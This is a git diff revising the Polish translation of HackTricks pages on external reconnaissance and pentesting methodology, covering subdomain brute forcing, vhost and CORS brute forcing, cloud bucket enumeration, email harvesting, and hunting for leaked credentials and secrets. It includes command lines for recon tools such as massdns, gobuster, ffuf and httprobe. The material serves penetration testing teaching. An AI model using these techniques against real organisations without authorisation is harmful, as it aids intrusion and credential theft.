-### **Atak brutalnej siły DNS**
+### **Atak siłowy DNS**
-Spróbujmy znaleźć nowe **subdomeny** poprzez atak brutalnej siły na serwery DNS, używając możliwych nazw subdomen.
+Spróbujmy znaleźć nowe **subdomeny** za pomocą ataku siłowego na serwery DNS, używając możliwych nazw subdomen.
Do tego działania będziesz potrzebować kilku **powszechnie używanych list słów dla subdomen, takich jak**:
@@ -346,9 +351,9 @@ Do tego działania będziesz potrzebować kilku **powszechnie używanych list s
Oraz adresy IP dobrych resolverów DNS. Aby wygenerować listę zaufanych resolverów DNS, możesz pobrać resolverów z [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) i użyć [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) do ich filtrowania. Lub możesz użyć: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
-Najbardziej polecane narzędzia do ataku brutalnej siły DNS to:
+Najbardziej polecane narzędzia do ataku siłowego DNS to:
-* [**massdns**](https://github.com/blechschmidt/massdns): To było pierwsze narzędzie, które przeprowadziło skuteczny atak brutalnej siły DNS. Jest bardzo szybkie, ale podatne na fałszywe wyniki.
+* [**massdns**](https://github.com/blechschmidt/massdns): To było pierwsze narzędzie, które przeprowadziło skuteczny atak siłowy DNS. Jest bardzo szybkie, ale podatne na fałszywe wyniki dodatnie.
```bash
sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt
./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt
@@ -358,7 +363,7 @@ grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
```
gobuster dns -d mysite.com -t 50 -w subdomains.txt
```
-* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) to nakładka na `massdns`, napisana w języku go, która pozwala na wyliczenie prawidłowych subdomen za pomocą aktywnego bruteforce, a także rozwiązywanie subdomen z obsługą symboli wieloznacznych i łatwym wsparciem wejścia-wyjścia.
+* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) jest opakowaniem wokół `massdns`, napisanym w języku go, które pozwala na wyliczenie prawidłowych subdomen za pomocą aktywnego bruteforce, a także rozwiązywanie subdomen z obsługą symboli wieloznacznych oraz łatwe wsparcie wejścia-wyjścia.
```
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
```
@@ -366,13 +371,13 @@ shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
```
puredns bruteforce all.txt domain.com
```
-* [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) używa asyncio do asynchronicznego brutalnego testowania nazw domenowych.
+* [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) używa asyncio do asynchronicznego brutalnego przełamywania nazw domen.
```
aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
```
### Druga runda brutalnej siły DNS
-Po znalezieniu subdomen przy użyciu otwartych źródeł i brutalnej siły, można wygenerować zmiany znalezionych subdomen, aby spróbować znaleźć jeszcze więcej. Kilka narzędzi jest przydatnych w tym celu:
+Po znalezieniu subdomen przy użyciu otwartych źródeł i brutalnej siły, można wygenerować zmiany znalezionych subdomen, aby spróbować znaleźć jeszcze więcej. Kilka narzędzi jest przydatnych do tego celu:
* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Generuje permutacje domen i subdomen.
```bash
@@ -383,12 +388,12 @@ cat subdomains.txt | dnsgen -
```bash
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
```
-* [**gotator**](https://github.com/Josue87/gotator)**:** Mając domeny i subdomeny generuj permutacje. Jeśli nie zostanie wskazany plik permutacji, gotator użyje własnego.
+* [**gotator**](https://github.com/Josue87/gotator)**:** Dla podanych domen i subdomen generuje permutacje. Jeśli nie zostanie wskazany plik permutacji, gotator użyje własnego.
```
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
```
-* [**altdns**](https://github.com/infosec-au/altdns): Oprócz generowania permutacji subdomen, może również próbować je rozwiązać (ale lepiej użyć wcześniej skomentowanych narzędzi).
-* Możesz pobrać listę permutacji **słów** dla altdns **tutaj** (https://github.com/infosec-au/altdns/blob/master/words.txt).
+* [**altdns**](https://github.com/infosec-au/altdns): Oprócz generowania permutacji subdomen, może również próbować je rozwiązać (ale lepiej jest użyć wcześniej skomentowanych narzędzi).
+* Możesz pobrać listę permutacji **słów** dla altdns [**tutaj**](https://github.com/infosec-au/altdns/blob/master/words.txt).
```
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
```
@@ -398,7 +403,7 @@ altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
--dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt
```
-* [**alterx**](https://github.com/projectdiscovery/alterx)**:** Na podstawie domeny **generuje nowe potencjalne nazwy subdomen** na podstawie określonych wzorców, aby spróbować odkryć więcej subdomen.
+* [**alterx**](https://github.com/projectdiscovery/alterx)**:** Na podstawie domeny **generuje nowe potencjalne nazwy subdomen** na podstawie określonych wzorców, aby odkryć więcej subdomen.
#### Inteligentna generacja permutacji
@@ -408,25 +413,25 @@ python3 main.py adobe.com adobe adobe.rules
make_brute_list.sh adobe.rules adobe.brute
puredns resolve adobe.brute --write adobe.valid
```
-* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ to fuzzer siły brutalnej subdomen połączony z niezwykle prostym, ale skutecznym algorytmem prowadzonym przez odpowiedź DNS. Wykorzystuje dostarczony zestaw danych wejściowych, takich jak dostosowana lista słów lub historyczne rekordy DNS/TLS, aby dokładnie syntetyzować więcej odpowiadających nazw domen i rozwijać je jeszcze bardziej w pętli na podstawie zebranych informacji podczas skanowania DNS.
+* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ to fuzzer siły brutalnej subdomen połączony z niezwykle prostym, ale skutecznym algorytmem prowadzonym przez odpowiedź DNS. Wykorzystuje dostarczony zestaw danych wejściowych, takich jak dostosowana lista słów lub historyczne rekordy DNS/TLS, aby dokładnie syntetyzować więcej odpowiadających nazw domen i rozwijać je nawet dalej w pętli na podstawie informacji zebranych podczas skanowania DNS.
```
echo www | subzuf facebook.com
```
### **Workflow Odkrywania Subdomen**
-Sprawdź ten wpis na blogu, który napisałem o tym, jak **zautomatyzować odkrywanie subdomen** z domeny przy użyciu **najtrudniejszych schematów pracy**, aby nie musiał ręcznie uruchamiać wielu narzędzi na swoim komputerze:
+Sprawdź ten wpis na blogu, który napisałem o tym, jak **zautomatyzować odkrywanie subdomen** z domeny przy użyciu **najtrudniejszych workflowów**, aby nie musiał ręcznie uruchamiać wielu narzędzi na swoim komputerze:
{% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-### **VHosts / Hosty Wirtualne**
+### **VHosts / Wirtualne Hosty**
Jeśli znalazłeś adres IP zawierający **jedną lub kilka stron internetowych** należących do subdomen, możesz spróbować **znaleźć inne subdomeny z witrynami na tym IP**, szukając w **źródłach OSINT** domen na danym IP lub **próbując siłowo nazwy domen VHost na tym IP**.
#### OSINT
-Możesz znaleźć niektóre **Hosty Wirtualne w IP za pomocą** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **lub innych interfejsów API**.
+Możesz znaleźć niektóre **VHosty w IP za pomocą** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **lub innych interfejsów API**.
**Atak Siłowy**
@@ -448,35 +453,35 @@ VHostScan -t example.com
Dzięki tej technice możesz nawet uzyskać dostęp do wewnętrznych/ukrytych punktów końcowych.
{% endhint %}
-### **CORS Brute Force**
+### **Atak Brute Force CORS**
-Czasami znajdziesz strony, które zwracają nagłówek _**Access-Control-Allow-Origin**_ tylko wtedy, gdy prawidłowa domena/poddomena jest ustawiona w nagłówku _**Origin**_. W tych scenariuszach możesz nadużyć tego zachowania, aby **odkryć** nowe **poddomeny**.
+Czasami znajdziesz strony, które zwracają nagłówek _**Access-Control-Allow-Origin**_ tylko wtedy, gdy prawidłowa domena/poddomena jest ustawiona w nagłówku _**Origin**_. W takich scenariuszach możesz wykorzystać to zachowanie do **odkrywania** nowych **poddomen**.
```bash
ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body
```
-### **Atak siłowy na kubełki**
+### **Siła Brutalna Kubłów**
-Podczas poszukiwania **poddomen** zwróć uwagę, czy nie wskazują one na jakikolwiek rodzaj **kubełka**, a w takim przypadku [**sprawdź uprawnienia**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
-Ponadto, w tym momencie będąc już zaznajomionym ze wszystkimi domenami w zakresie, spróbuj [**przeprowadzić atak siłowy na możliwe nazwy kubełków i sprawdź uprawnienia**](../../network-services-pentesting/pentesting-web/buckets/).
+Podczas poszukiwania **poddomen** zwróć uwagę, czy nie wskazują one na jakikolwiek rodzaj **kubła**, a w takim przypadku [**sprawdź uprawnienia**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
+Ponadto, w tym momencie będziesz znać wszystkie domeny w zakresie, spróbuj [**przeprowadzić brutalną siłę na możliwych nazwach kubłów i sprawdź uprawnienia**](../../network-services-pentesting/pentesting-web/buckets/).
### **Monitorowanie**
-Możesz **monitorować**, czy **nowe poddomeny** domeny są tworzone poprzez monitorowanie **logów Transparentności Certyfikatów** [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py).
+Możesz **monitorować**, czy **nowe poddomeny** domeny są tworzone poprzez monitorowanie **Logów Transparentności Certyfikatów** [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py) robi to.
### **Poszukiwanie podatności**
Sprawdź możliwe [**przejęcia poddomen**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
-Jeśli **poddomena** wskazuje na **kubełek S3**, [**sprawdź uprawnienia**](../../network-services-pentesting/pentesting-web/buckets/).
+Jeśli **poddomena** wskazuje na **kubek S3**, [**sprawdź uprawnienia**](../../network-services-pentesting/pentesting-web/buckets/).
-Jeśli znajdziesz jakąkolwiek **poddomenę z innym adresem IP** niż te, które już znalazłeś podczas odkrywania zasobów, powinieneś przeprowadzić **podstawowe skanowanie podatności** (używając Nessusa lub OpenVAS) oraz [**skan portów**](../pentesting-network/#discovering-hosts-from-the-outside) przy użyciu **nmap/masscan/shodan**. W zależności od tego, jakie usługi są uruchomione, możesz znaleźć w **tej książce kilka sztuczek do ich "atakowania"**.\
-_Zauważ, że czasami poddomena jest hostowana pod adresem IP, który nie jest kontrolowany przez klienta, więc nie jest w zakresie, bądź ostrożny._
+Jeśli znajdziesz jakąkolwiek **poddomenę z innym adresem IP** niż te, które już znalazłeś podczas odkrywania zasobów, powinieneś przeprowadzić **podstawowe skanowanie podatności** (używając Nessusa lub OpenVAS) oraz [**skan portów**](../pentesting-network/#discovering-hosts-from-the-outside) z **nmap/masscan/shodan**. W zależności od tego, jakie usługi są uruchomione, możesz znaleźć w **tej książce kilka sztuczek do "atakowania" ich**.\
+_Zauważ, że czasami poddomena jest hostowana wewnątrz adresu IP, który nie jest kontrolowany przez klienta, więc nie jest w zakresie, bądź ostrożny._
## Adresy IP
W początkowych krokach możesz **znaleźć pewne zakresy IP, domeny i poddomeny**.\
Nadszedł czas, aby **zbierać wszystkie adresy IP z tych zakresów** oraz dla **domen/poddomen (zapytania DNS).**
-Korzystając z usług poniższych **darmowych interfejsów API**, możesz również znaleźć **poprzednie adresy IP używane przez domeny i poddomeny**. Te adresy IP mogą nadal należeć do klienta (i mogą pozwolić Ci na znalezienie [**obejść CloudFlare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
+Korzystając z usług następujących **darmowych interfejsów API**, możesz również znaleźć **poprzednie adresy IP używane przez domeny i poddomeny**. Te adresy IP mogą nadal należeć do klienta (i mogą pozwolić Ci znaleźć [**obejścia CloudFlare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
* [**https://securitytrails.com/**](https://securitytrails.com/)
@@ -486,33 +491,33 @@ Możesz również sprawdzić domeny wskazujące na określony adres IP za pomoc
**Skanuj porty wszystkich adresów IP, które nie należą do CDN** (ponieważ prawdopodobnie nie znajdziesz tam nic interesującego). W odkrytych uruchomionych usługach możesz **znaleźć podatności**.
-Znajdź [**przewodnik**](../pentesting-network/) **o tym, jak skanować hosty.**
+Znajdź **przewodnik** [**tutaj**](../pentesting-network/) **o tym, jak skanować hosty.**
## Polowanie na serwery WWW
> Znaleźliśmy wszystkie firmy i ich zasoby, znamy zakresy IP, domeny i poddomeny w zakresie. Czas poszukać serwerów WWW.
-W poprzednich krokach prawdopodobnie już przeprowadziłeś **rekonesans odkrytych adresów IP i domen**, więc możesz **już znaleźć wszystkie możliwe serwery WWW**. Jeśli jednak nie, teraz zobaczymy **szybkie sztuczki do wyszukiwania serwerów WWW** w zakresie.
+W poprzednich krokach prawdopodobnie już przeprowadziłeś **rekonesans odkrytych adresów IP i domen**, więc możesz **już znaleźć wszystkie możliwe serwery WWW**. Jeśli jednak nie, teraz zobaczymy kilka **szybkich sztuczek do wyszukiwania serwerów WWW** w zakresie.
-Należy zauważyć, że będzie to **zorientowane na odkrywanie aplikacji internetowych**, więc powinieneś również **przeprowadzić skan podatności** i **portów** również (**jeśli zezwala na to** zakres).
+Należy zauważyć, że będzie to **zorientowane na odkrywanie aplikacji internetowych**, więc powinieneś również **przeprowadzić skanowanie podatności** i **portów** również (**jeśli zezwala na to** zakres).
**Szybka metoda** odkrywania **otwartych portów** związanych z **serwerami WWW** za pomocą [**masscan można znaleźć tutaj**](../pentesting-network/#http-port-discovery).\
-Innym przyjaznym narzędziem do poszukiwania serwerów WWW jest [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) i [**httpx**](https://github.com/projectdiscovery/httpx). Wystarczy przekazać listę domen, a narzędzie spróbuje połączyć się z portem 80 (http) i 443 (https). Dodatkowo, można wskazać próbę połączenia z innymi portami:
+Innym przyjaznym narzędziem do poszukiwania serwerów WWW jest [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) i [**httpx**](https://github.com/projectdiscovery/httpx). Wystarczy przekazać listę domen, a narzędzie spróbuje połączyć się z portem 80 (http) i 443 (https). Dodatkowo, można wskazać, aby spróbował innych portów:
```bash
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
```
### **Zrzuty ekranu**
-Teraz, gdy odkryłeś **wszystkie serwery WWW** obecne w zakresie (wśród **adresów IP** firmy oraz wszystkich **domen** i **poddomen**), prawdopodobnie **nie wiesz, od czego zacząć**. Dlatego zróbmy to prosto i zacznijmy od zrobienia zrzutów ekranu wszystkich z nich. Tylko **spojrzenie** na **stronę główną** może ujawnić **dziwne** punkty końcowe, które są bardziej **podatne** na **zagrożenia**.
+Teraz, gdy odkryłeś **wszystkie serwery WWW** obecne w zakresie (wśród **adresów IP** firmy oraz wszystkich **domen** i **subdomen**), prawdopodobnie **nie wiesz, od czego zacząć**. Dlatego zróbmy to prosto i zacznijmy od zrobienia zrzutów ekranu wszystkich z nich. Już tylko **spojrzenie** na **stronę główną** może ujawnić **dziwne** punkty końcowe, które są bardziej **podatne** na **zagrożenia**.
Aby wykonać proponowany pomysł, możesz użyć [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/) lub [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.**
-Ponadto, możesz użyć [**eyeballer**](https://github.com/BishopFox/eyeballer), aby przejrzeć wszystkie **zrzuty ekranu** i powiedzieć Ci, co **najprawdopodobniej zawiera podatności**, a co nie.
+Ponadto, możesz użyć [**eyeballer**](https://github.com/BishopFox/eyeballer), aby przejrzeć wszystkie **zrzuty ekranu** i powiedzieć Ci, **co najprawdopodobniej zawiera podatności**, a co nie.
## Zasoby w Chmurze Publicznej
-Aby znaleźć potencjalne zasoby w chmurze należące do firmy, powinieneś **zaczynać od listy słów kluczowych identyfikujących tę firmę**. Na przykład, dla firmy kryptowalutowej możesz użyć słów takich jak: `"crypto", "wallet", "dao", "", <"nazwy_poddomen">`.
+Aby znaleźć potencjalne zasoby w chmurze należące do firmy, powinieneś **zaczynać od listy słów kluczowych identyfikujących tę firmę**. Na przykład, dla firmy kryptowalutowej możesz użyć słów takich jak: `"crypto", "wallet", "dao", "", <"nazwy_subdomen">`.
Będziesz także potrzebował list słów **często używanych w kubełkach**:
@@ -524,7 +529,7 @@ Następnie, z tymi słowami powinieneś generować **permutacje** (sprawdź [**D
Z uzyskanych list słów możesz użyć narzędzi takich jak [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **lub** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.**
-Pamiętaj, że szukając Zasobów w Chmurze powinieneś **szukać więcej niż tylko kubełków w AWS**.
+Pamiętaj, że szukając Zasobów w Chmurze powinieneś **szukać czegoś więcej niż tylko kubełków w AWS**.
### **Szukanie podatności**
@@ -532,7 +537,7 @@ Jeśli znajdziesz rzeczy takie jak **otwarte kubełki lub funkcje chmurowe wysta
## Emaile
-Dzięki **domenom** i **poddomenom** w zakresie masz praktycznie wszystko, czego potrzebujesz, aby zacząć szukać adresów e-mail. Oto **API** i **narzędzia**, które najlepiej sprawdziły się dla mnie w poszukiwaniu adresów e-mail firmy:
+Dzięki **domenom** i **subdomenom** w zakresie masz praktycznie wszystko, czego potrzebujesz, aby zacząć szukać adresów e-mail. Oto **API** i **narzędzia**, które najlepiej sprawdziły się dla mnie w poszukiwaniu adresów e-mail firmy:
* [**theHarvester**](https://github.com/laramies/theHarvester) - z użyciem API
* API [**https://hunter.io/**](https://hunter.io/) (wersja darmowa)
@@ -545,7 +550,7 @@ Emaile przydadzą się później do **prób siłowych logowania na strony intern
## Wycieki Poświadczeń
-Dzięki **domenom**, **poddomenom** i **emailom** możesz zacząć szukać wycieków poświadczeń z przeszłości należących do tych emaili:
+Dzięki **domenom**, **subdomenom** i **emailom** możesz zacząć szukać wycieków poświadczeń, które miały miejsce w przeszłości i należą do tych adresów e-mail:
* [https://leak-lookup.com](https://leak-lookup.com/account/login)
* [https://www.dehashed.com/](https://www.dehashed.com/)
@@ -556,31 +561,31 @@ Jeśli znajdziesz **ważne wycieki** poświadczeń, to bardzo łatwe zwycięstwo
## Wycieki Sekretów
-Wycieki poświadczeń są związane z atakami na firmy, w których **wrażliwe informacje zostały ujawnione i sprzedane**. Jednak firmy mogą być dotknięte również przez **inne wycieki**, których informacje nie znajdują się w tych bazach danych:
+Wycieki poświadczeń są związane z atakami na firmy, w których **wyciekły i zostały sprzedane poufne informacje**. Jednak firmy mogą być dotknięte również przez **inne wycieki**, których informacje nie znajdują się w tych bazach danych:
### Wycieki z Githuba
-Poświadczenia i interfejsy API mogą być wyciekane w **publicznych repozytoriach** **firmy** lub **użytkowników** pracujących w tej firmie na Githubie.\
+Poświadczenia i interfejsy API mogą wyciec w **publicznych repozytoriach** **firmy** lub **użytkowników** pracujących w tej firmie na Githubie.\
Możesz użyć narzędzia [**Leakos**](https://github.com/carlospolop/Leakos), aby **pobrać** wszystkie **publiczne repozytoria** organizacji i jej deweloperów i automatycznie uruchomić [**gitleaks**](https://github.com/zricethezav/gitleaks) na nich.
-**Leakos** może również być używany do uruchamiania **gitleaks** na wszystkich **tekstach** dostarczonych **URL-ach przekazanych** do niego, ponieważ czasami **strony internetowe również zawierają sekrety**.
+**Leakos** może być również używany do uruchamiania **gitleaks** na wszystkich **tekstach** dostarczonych **URL-ów przekazanych** do niego, ponieważ czasami **strony internetowe również zawierają sekrety**.
-#### Dorki z Githuba
+#### Dorki Githuba
-Sprawdź również tę **stronę** w poszukiwaniu potencjalnych **dorków z Githuba**, których również możesz szukać w organizacji, którą atakujesz:
+Sprawdź także tę **stronę** w poszukiwaniu potencjalnych **dorków Githuba**, których również możesz szukać w organizacji, którą atakujesz:
{% content-ref url="github-leaked-secrets.md" %}
[github-leaked-secrets.md](github-leaked-secrets.md)
{% endcontent-ref %}
-### Wycieki z Paste
+### Wycieki Paste
-Czasami atakujący lub po prostu pracownicy **publikują treści firmy na stronach do wklejania**. Mogą one zawierać **wrażliwe informacje** lub nie, ale warto je przeszukać.\
-Możesz użyć narzędzia [**Pastos**](https://github.com/carlospolop/Pastos), aby przeszukać ponad 80 stron do wklejania jednocześnie.
+Czasami atakujący lub po prostu pracownicy **opublikują treści firmy na stronie z wklejkami**. Mogą one zawierać **informacje poufne** lub nie, ale warto je sprawdzić.\
+Możesz użyć narzędzia [**Pastos**](https://github.com/carlospolop/Pastos), aby jednocześnie przeszukać ponad 80 stron z wklejkami.
-### Dorki z Google
+### Dorki Google
-Stare, ale złote dorki z Google zawsze są przydatne do znalezienia **ujawnionych informacji, które nie powinny się tam znajdować**. Jedynym problemem jest to, że [**baza danych google-hacking**](https://www.exploit-db.com/google-hacking-database) zawiera kilka **tysięcy** możliwych zapytań, których nie można uruchomić ręcznie. Dlatego możesz wybrać swoje ulubione 10 lub skorzystać z **narzędzia takiego jak** [**Gorks**](https://github.com/carlospolop/Gorks) **do uruchomienia ich wszystkich**.
+Stare, ale złote dorki Google zawsze są przydatne do znalezienia **ujawnionych informacji, które tam nie powinny być**. Jedynym problemem jest to, że [**baza danych google-hacking**](https://www.exploit-db.com/google-hacking-database) zawiera kilka **tysięcy** możliwych zapytań, których nie można uruchomić ręcznie. Dlatego możesz wybrać swoje ulubione 10 lub skorzystać z **narzędzia takiego jak** [**Gorks**](https://github.com/carlospolop/Gorks) **do ich uruchomienia wszystkich**.
_Zauważ, że narzędzia, które oczekują uruchomienia całej bazy danych za pomocą zwykłej przeglądarki Google, nigdy się nie zakończą, ponieważ Google bardzo szybko Cię zablokuje._
@@ -590,9 +595,9 @@ Jeśli znajdziesz **ważne wycieki** poświadczeń lub tokenów API, to bardzo
## Publiczne Podatności Kodu
-Jeśli odkryłeś, że firma ma **kod źródłowy o otwartym kodzie**, możesz go **analizować** i szukać na nim **podatności**.
+Jeśli odkryłeś, że firma ma **kod open-source**, możesz go **analizować** i szukać na nim **podatności**.
-W zależności od języka istnieją różne **narzędzia**, których możesz użyć:
+W zależności od języka są różne **narzędzia**, których możesz użyć:
{% content-ref url="../../network-services-pentesting/pentesting-web/code-review-tools.md" %}
[code-review-tools.md](../../network-services-pentesting/pentesting-web/code-review-tools.md)
@@ -601,11 +606,11 @@ W zależności od języka istnieją różne **narzędzia**, których możesz uż
Istnieją również bezpłatne usługi, które pozwalają **skanować publiczne repozytoria**, takie jak:
* [**Snyk**](https://app.snyk.io/)
-## [**Metodologia testowania penetracyjnego aplikacji internetowych**](../../network-services-pentesting/pentesting-web/)
+## [**Metodologia testowania aplikacji internetowych**](../../network-services-pentesting/pentesting-web/)
-**Większość podatności** znajdowanych przez łowców błędów znajduje się w **aplikacjach internetowych**, dlatego w tym momencie chciałbym omówić **metodologię testowania aplikacji internetowych**, którą możesz [**znaleźć tutaj**](../../network-services-pentesting/pentesting-web/).
+**Większość podatności** znajdowanych przez łowców błędów znajduje się w **aplikacjach internetowych**, dlatego chciałbym teraz omówić **metodologię testowania aplikacji internetowych**, którą możesz [**znaleźć tutaj**](../../network-services-pentesting/pentesting-web/).
-Chciałbym również wspomnieć o sekcji [**Otwarte narzędzia skanujące automatycznie strony internetowe**](../../network-services-pentesting/pentesting-web/#automatic-scanners), ponieważ, chociaż nie powinieneś oczekiwać, że znajdą one bardzo wrażliwe podatności, są przydatne do implementacji ich w **przepływach pracy w celu uzyskania początkowych informacji o stronie internetowej.**
+Chciałbym również wspomnieć o sekcji [**Otwarte narzędzia skanujące automatycznie strony internetowe**](../../network-services-pentesting/pentesting-web/#automatic-scanners), ponieważ, chociaż nie powinieneś oczekiwać, że znajdą one bardzo wrażliwe podatności, są przydatne do implementacji w **przepływach pracy w celu uzyskania początkowych informacji o stronie internetowej.**
## Podsumowanie
@@ -618,8 +623,8 @@ Więc już:
3. Znalazłeś wszystkie **domeny** należące do firm
4. Znalazłeś wszystkie **subdomeny** domen (jakiekolwiek przejęcie subdomeny?)
5. Znalazłeś wszystkie **adresy IP** (z i **bez CDN**) w zakresie.
-6. Znalazłeś wszystkie **serwery internetowe** i zrobiłeś **zrzut ekranu** z nich (czy coś dziwnego warte głębszego zbadania?)
-7. Znalazłeś wszystkie **potencjalne zasoby publiczne w chmurze** należące do firmy.
+6. Znalazłeś wszystkie **serwery internetowe** i wykonałeś **zrzut ekranu** z nich (czy coś dziwnego warte głębszego zbadania?)
+7. Znalazłeś wszystkie **potencjalne zasoby publicznych chmur** należące do firmy.
8. **Emaile**, **wycieki poświadczeń** i **wycieki tajemnic**, które mogą dać Ci **duże zwycięstwo bardzo łatwo**.
9. **Testowanie penetracyjne wszystkich stron internetowych, które znalazłeś**
@@ -636,15 +641,15 @@ Istnieje wiele narzędzi, które wykonają część proponowanych działań w ok
* Wszystkie darmowe kursy od [**@Jhaddix**](https://twitter.com/Jhaddix) takie jak [**Metodologia łowcy błędów v4.0 - Edycja Recon**](https://www.youtube.com/watch?v=p4JgIu1mceI)
-
+
-Jeśli interesuje Cię **kariera hakera** i hakiowanie niemożliwego do zhakowania - **zatrudniamy!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_).
+Jeśli interesuje Cię **kariera hakera** i hakiowanie niemożliwego do zhakowania - **zatrudniamy!** (_wymagana biegła znajomość języka polskiego w piśmie i mowie_).
{% embed url="https://www.stmcyber.com/careers" %}
-Dowiedz się, jak hakować AWS od zera do bohatera zhtARTE (HackTricks AWS Red Team Expert)!
+Zacznij od zera i zostań ekspertem AWS hackingu zhtARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
diff --git a/generic-methodologies-and-resources/pentesting-methodology.md b/generic-methodologies-and-resources/pentesting-methodology.md
index e1e25d437..269a484ba 100644
--- a/generic-methodologies-and-resources/pentesting-methodology.md
+++ b/generic-methodologies-and-resources/pentesting-methodology.md
@@ -2,7 +2,7 @@
-Zacznij od zera i stań się ekspertem od hakowania AWS zhtARTE (HackTricks AWS Red Team Expert)!
+Zacznij od zera i stań się ekspertem od hakowania AWS dziękihtARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
@@ -14,7 +14,7 @@ Inne sposoby wsparcia HackTricks:
-
+
Jeśli interesuje Cię **kariera hakerska** i hakowanie niemożliwego - **rekrutujemy!** (_wymagana biegła znajomość języka polskiego, zarówno pisemna, jak i mówiona_).
@@ -28,7 +28,7 @@ _Loga Hacktricks zaprojektowane przez_ [_@ppiernacho_](https://www.instagram.com
### 0- Ataki Fizyczne
-Masz **fizyczny dostęp** do maszyny, którą chcesz zaatakować? Powinieneś przeczytać kilka [**sztuczek dotyczących ataków fizycznych**](../physical-attacks/physical-attacks.md) oraz inne dotyczące [**ucieczki z aplikacji GUI**](../physical-attacks/escaping-from-gui-applications/).
+Masz **fizyczny dostęp** do maszyny, którą chcesz zaatakować? Powinieneś przeczytać kilka [**sztuczek dotyczących ataków fizycznych**](../physical-attacks/physical-attacks.md) oraz innych dotyczących [**ucieczki z aplikacji GUI**](../physical-attacks/escaping-from-gui-applications/).
### 1 - [Odkrywanie hostów w sieci](pentesting-network/#discovering-hosts)/ [Odkrywanie zasobów firmy](external-recon-methodology/)
@@ -41,21 +41,21 @@ Zauważ, że jeśli wykonujesz test zewnętrzny i uda ci się uzyskać dostęp d
### **2-** [**Zabawa z siecią**](pentesting-network/) **(Wewnętrzny)**
**Ta sekcja dotyczy tylko testów wewnętrznych.**\
-Zanim zaatakujesz hosta, może wolisz **ukraść pewne poświadczenia** **z sieci** lub **przechwycić** pewne **dane**, aby **pasywnie/aktywnie (MitM)** dowiedzieć się, co znajdziesz w sieci. Możesz przeczytać [**Pentesting Network**](pentesting-network/#sniffing).
+Przed atakowaniem hosta może być lepiej **ukraść pewne poświadczenia** **z sieci** lub **przechwycić** pewne **dane**, aby pasywnie/aktywnie (MitM) dowiedzieć się, co można znaleźć w sieci. Możesz przeczytać [**Pentesting Network**](pentesting-network/#sniffing).
### 3- [Skanowanie portów - Odkrywanie usług](pentesting-network/#scanning-hosts)
-Pierwszą rzeczą do zrobienia, gdy **szukasz podatności w hoście**, jest poznanie, które **usługi działają na których portach**. Zobaczmy [**podstawowe narzędzia do skanowania portów hostów**](pentesting-network/#scanning-hosts).
+Pierwszą rzeczą do zrobienia, gdy **szukasz podatności w hoście**, jest poznanie, które **usługi działają na których portach**. Zobacz [**podstawowe narzędzia do skanowania portów hostów**](pentesting-network/#scanning-hosts).
-### **4-** [Wyszukiwanie exploitów wersji usługi](search-exploits.md)
+### **4-** [Wyszukiwanie eksploitów wersji usługi](search-exploits.md)
-Gdy już wiesz, które usługi działają, a może nawet ich wersję, musisz **szukać znanych podatności**. Być może masz szczęście i istnieje exploit, który da ci dostęp do powłoki...
+Gdy już wiesz, które usługi działają, a może nawet ich wersję, musisz **szukać znanych podatności**. Być może masz szczęście i istnieje eksploit, który da ci dostęp do powłoki...
### **5-** Testowanie Usług
